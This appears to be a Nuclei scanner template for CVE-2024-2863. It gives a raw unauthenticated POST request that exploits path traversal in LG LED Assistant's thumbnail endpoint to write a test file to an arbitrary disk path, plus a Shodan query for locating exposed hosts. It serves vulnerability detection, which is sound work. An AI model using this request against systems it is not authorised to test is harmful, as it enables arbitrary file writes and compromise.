CVE-2024-2863: LG LED Assistant - Thumbnail Path Traversal File Upload

id: CVE-2024-2863

info:
  name: LG LED Assistant - Thumbnail Path Traversal File Upload
  author: beginee
  severity: high
  description: |
    A path traversal vulnerability exists in the endpoint handler for /api/thumbnail in Common.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.
  reference:
    - https://www.tenable.com/security/research/tra-2024-08
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2863
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2863
    cwe-id: CWE-22
    epss-score: 0.67129
    epss-percentile: 0.98494
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'http.title:"LG LED Assistant" OR http.title:"LED Assistant"'
  tags: cve,cve2024,lg,lfi,file-upload,thumbnail,traversal

variables:
  target_filename: "/../../../../../../Users/Public/poc_test.txt"
  target_fileStr: "bWFsaWNpb3VzIGNvbnRlbnQ%3d"

http:
  - raw:
      - |
        POST /api/thumbnail HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileName={{target_filename}}&fileStr={{target_fileStr}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"resCode\":\"SUCCESS\"}")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d167386e15dc8618582fe47f2d3e5a526199a03ff0beeea94befcdcd306690c602202be5db1e6b22475dfcb61779a52b42e71011920329ea2615aa91284d7ba365c8:922c64590222798bb761d5b6d8e72950